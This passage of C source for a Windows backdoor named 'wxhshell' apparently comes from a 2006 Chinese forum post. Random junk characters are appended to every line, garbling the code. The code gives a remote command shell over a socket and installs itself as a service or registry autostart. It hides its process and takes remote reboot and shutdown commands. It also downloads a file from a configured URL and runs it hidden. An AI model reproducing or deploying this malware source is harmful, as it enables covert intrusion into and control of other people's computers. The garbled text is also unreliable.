  -IG@v0_w  
  // 帮助 >VvA&p71b  
  case '?': { ]AB4w+6!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Mvlqx J$  
    break; Q2xzux~T  
  } 8}!WJ2[R  
  // 安装 69{q*qCW  
  case 'i': { ksli-Px  
    if(Install()) )Es|EPCx!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Rd;>s*.Y  
    else [Xo[J?w],2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7 +kU8}  
    break; &\M<>>IB  
    } MJI`1*(  
  // 卸载 `KmM*_a  
  case 'r': { &^^V*O  
    if(Uninstall()) HO9w"){d$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lH 1gWe  
    else 45tQ$jr`1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /X97dF)zt  
    break; i}r|Zo  
    } nK9?|@S*'  
  // 显示 wxhshell 所在路径 L+2<J,   
  case 'p': { 4:Id8r zz  
    char svExeFile[MAX_PATH]; P jh3=Dr  
    strcpy(svExeFile,"\n\r"); 0ZJt  
      strcat(svExeFile,ExeFile); |#`qP^E  
        send(wsh,svExeFile,strlen(svExeFile),0); , LVZ  
    break; jkfc=O6^  
    } ^ah9:}Ll  
  // 重启 58o'Q  
  case 'b': { [^2c9K^NK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6 ly`lu9  
    if(Boot(REBOOT)) >K-S&Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j )b[7%  
    else { &-hXk!A  
    closesocket(wsh); I7e.p m  
    ExitThread(0); NNP ut$.  
    } 8t >nL  
    break; ;dZuO[4\  
    } 9B?-&t  
  // 关机 }GL@?kAGR5  
  case 'd': { nb_$g@ 03  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bn6WvC 3?  
    if(Boot(SHUTDOWN)) jPa"|9A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =`Lci1#pu}  
    else { b ]u01T-  
    closesocket(wsh); 0*yD   
    ExitThread(0); T?HW=v_a  
    } q1?}G5a ?  
    break; /Xk-xg+U  
    } ;Bwg'ThT  
  // 获取shell bfX yuv  
  case 's': { _UGR+0'Q\  
    CmdShell(wsh); ,u_ Z0S M  
    closesocket(wsh); |Q?^Ba  
    ExitThread(0); 7oV$TAAf  
    break; ;9$71E  
  } =bJ7!&  
  // 退出 ^Fpc8D,  
  case 'x': { FS^~e-A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +o-jMvK9  
    CloseIt(wsh); (5a:O (\r  
    break; b|oT!s  
    } ?/|KM8  
  // 离开 mLm?yb:  
  case 'q': { 3t9Weo)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z}w7X6&e  
    closesocket(wsh); O+OUcMa,  
    WSACleanup(); 75^AO>gt   
    exit(1); ->L>`<7(  
    break; Hg5 :>?Lw@  
        } @L$!hTaP  
  } d$hBgJe>N  
  } -}(2}~{e(  
"fu:hHq  
  // 提示信息 .F},Z[a&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f~ wgMp.W0  
} uH]oHh!}j  
  } %2y5a`b  
[ylRq7^e  
  return; AVi&cvhs  
} lHAWZyO  
iD*L<9  
// shell模块句柄 G>Hg0u0!,  
int CmdShell(SOCKET sock) < 1[K1'7h  
{ k(he<-GF\  
STARTUPINFO si; niqknqW<t  
ZeroMemory(&si,sizeof(si)); % Ai' 6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y>6N2&Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X ,{ 3_  
PROCESS_INFORMATION ProcessInfo; cj9C6Y!  
char cmdline[]="cmd"; T+e*'<!O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *3)kr=x  
  return 0; yzT4D>1,  
} te4=  
flT6y-d  
// 自身启动模式 V';l H2  
int StartFromService(void) Z&O6<=bg!  
{ A=3L_ #nO  
typedef struct &r\8VEZq"  
{ R0%M9;>1  
  DWORD ExitStatus; ?~b(iZ  
  DWORD PebBaseAddress; sn"z'=ch  
  DWORD AffinityMask; 3{f g3?  
  DWORD BasePriority; C~R ?iZ.&U  
  ULONG UniqueProcessId; hJsP;y:@Lm  
  ULONG InheritedFromUniqueProcessId; ,J8n}7aI  
}   PROCESS_BASIC_INFORMATION; Ek1c>s,t  
a>x6n3{  
PROCNTQSIP NtQueryInformationProcess; 'ZB^=T  
-Caj>K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BlQ X$s]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vxHFNGI  
}opw_h+/F  
  HANDLE             hProcess; 0EF~Ouef  
  PROCESS_BASIC_INFORMATION pbi; 5dB62dqN  
1[T7;i$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &a;?o~%*]i  
  if(NULL == hInst ) return 0; a{.q/Tbt  
[orL.D]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FF~r&h8H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3 ye  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QeG9CS)E}j  
N -]/MB 8  
  if (!NtQueryInformationProcess) return 0; ( *Xn"o  
<l $ d>,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P.qzP/Ny  
  if(!hProcess) return 0; ,|B-Nq  
31@Lr[!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H=Ilum06  
Yu>DgMW  
  CloseHandle(hProcess); CF2Bd:mfZ  
kJp~'\b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }&t>j[  
if(hProcess==NULL) return 0; p*&0d@'r  
)muNfs m  
HMODULE hMod; 4] uj+J  
char procName[255]; 6oNcj_?7?q  
unsigned long cbNeeded; kB> ~Tb0  
 D**GC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6eB;  
R2gV(L(!!  
  CloseHandle(hProcess); ylKK!vRHT  
^Aq0<  
if(strstr(procName,"services")) return 1; // 以服务启动 k(l2`I4V  
sfj+-se(K.  
  return 0; // 注册表启动 $Sgf jm  
} ksOGCd^G7  
( %\7dxiK  
// 主模块 q8 ?kBKP  
int StartWxhshell(LPSTR lpCmdLine) Y~-y\l;Tr  
{ {O^u^a\m  
  SOCKET wsl; -f)fiQ-<  
BOOL val=TRUE; ^ RA'E@ "  
  int port=0; Jpj=d@Of70  
  struct sockaddr_in door; N8b\OTk2  
t>I.1AS  
  if(wscfg.ws_autoins) Install(); `za,sRFR  
UJ)pae  
port=atoi(lpCmdLine); ,erf{"Nh  
HUi?\4  
if(port<=0) port=wscfg.ws_port; (Q^sK\  
6<._^hyq  
  WSADATA data; jO-?t9^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XH"+oW  
LH8jT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    ?pTX4a&>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :$MOdLr  
  door.sin_family = AF_INET;  5&&4-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b-&iJ &>'  
  door.sin_port = htons(port); &riGzU]  
&9p!J(C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QF#w $%7  
closesocket(wsl); ;*<tU n^t  
return 1; ;sZG=y@  
} /\I6j;$z  
&A QqI  
  if(listen(wsl,2) == INVALID_SOCKET) { 5i!Q55Yv=,  
closesocket(wsl); l_vGp  
return 1; }}AIpYp,P  
} &O&HczO  
  Wxhshell(wsl); U(#<D7}  
  WSACleanup(); I0Pw~Jj{  
6#?T?!vZ  
return 0; #DTKz]i?  
t'eqk#rq  
} B0fOAP1  
9y7N}T6  
// 以NT服务方式启动 ~VGnE:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  zUfq.   
{ BU O5g8m{  
DWORD   status = 0; (vs<Fo|]  
  DWORD   specificError = 0xfffffff; PsY![CPrW  
2Je $SE8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xn6#q3;^|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )g0lI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b_0THy.Z  
  serviceStatus.dwWin32ExitCode     = 0; 9wgB J Jl7  
  serviceStatus.dwServiceSpecificExitCode = 0; ^X=Q{nB  
  serviceStatus.dwCheckPoint       = 0; ;[v!#+yml  
  serviceStatus.dwWaitHint       = 0; 4CNrIF@  
P6:9o}K6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f98,2I(>`+  
  if (hServiceStatusHandle==0) return; RJrz ~,}  
{ZJO5*  
status = GetLastError(); vl"w,@V7  
  if (status!=NO_ERROR) \iuR+I  
{ o>el"0rn.h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d+9V% T  
    serviceStatus.dwCheckPoint       = 0; +#}GmUwPG$  
    serviceStatus.dwWaitHint       = 0; ~P4C`Q1PT#  
    serviceStatus.dwWin32ExitCode     = status; jkAjYR.  
    serviceStatus.dwServiceSpecificExitCode = specificError; S* h52li  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ma YU%h0  
    return; ?YhDjQs  
  } )DSeXS[ e  
a:kAo0@":j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k s40 5  
  serviceStatus.dwCheckPoint       = 0; #8$?# dT  
  serviceStatus.dwWaitHint       = 0; U( YAI%O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #EzBB*kP  
} x.SfB[SZ  
iSW2I~PD  
// 处理NT服务事件,比如:启动、停止 F'bwXb**  
VOID WINAPI NTServiceHandler(DWORD fdwControl) twT/uBQ4a  
{ <_EKCk  
switch(fdwControl) YagfCi ?  
{ VUb>{&F[  
case SERVICE_CONTROL_STOP: J2mHPV A3  
  serviceStatus.dwWin32ExitCode = 0; =|t-0'RsN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b?H"/Mu.  
  serviceStatus.dwCheckPoint   = 0; S|85g1}t  
  serviceStatus.dwWaitHint     = 0; ^Hd[+vAvR  
  { Ln"wj O ,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L^J4wYFTO  
  } ]#tB[G  
  return; v 6~9)\!j  
case SERVICE_CONTROL_PAUSE: .<x6U*)\O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _&gi4)q  
  break; x/|W;8g4  
case SERVICE_CONTROL_CONTINUE: _~kw^!p>Kr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %iyc1]w{  
  break; _NDQ2O  
case SERVICE_CONTROL_INTERROGATE: z@*E=B1L  
  break; Od1\$\4Z  
}; bI):-2&s}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X5 vMY  
} $)lkiA&;  
.OPknC  
// 标准应用程序主函数 c<lp<{;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l.Q  
{ |9* Rnm_  
v{u3[c   
// 获取操作系统版本 b<h((]Q>^  
OsIsNt=GetOsVer(); ?]Yic]$n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Kb~nC6yJc  
~i,d%a  
  // 从命令行安装 uGU 2  
  if(strpbrk(lpCmdLine,"iI")) Install(); {X!vb  
_@5Xmr  
  // 下载执行文件 7e_4sxg'(3  
if(wscfg.ws_downexe) { B=SA +{o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r~b.tpH  
  WinExec(wscfg.ws_filenam,SW_HIDE); { FJMc O=  
} vNO&0~  
eI8o#4nT  
if(!OsIsNt) { /s?%ft#-9o  
// 如果时win9x,隐藏进程并且设置为注册表启动 cVi_#9u"  
HideProc(); h ldZA  
StartWxhshell(lpCmdLine); Bm~^d7;Cw  
} 1+%UZK= K  
else Kz'GAm\  
  if(StartFromService()) pa-*&p  
  // 以服务方式启动 l\_!oa~  
  StartServiceCtrlDispatcher(DispatchTable); 7qC /a c  
else e=Ox~2S  
  // 普通方式启动 ~WrpJjI[  
  StartWxhshell(lpCmdLine); $z=a+t *  
|nMjv]#  
return 0; 5Tn<  
}
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只看该作者 1 发表于: 2006-10-10
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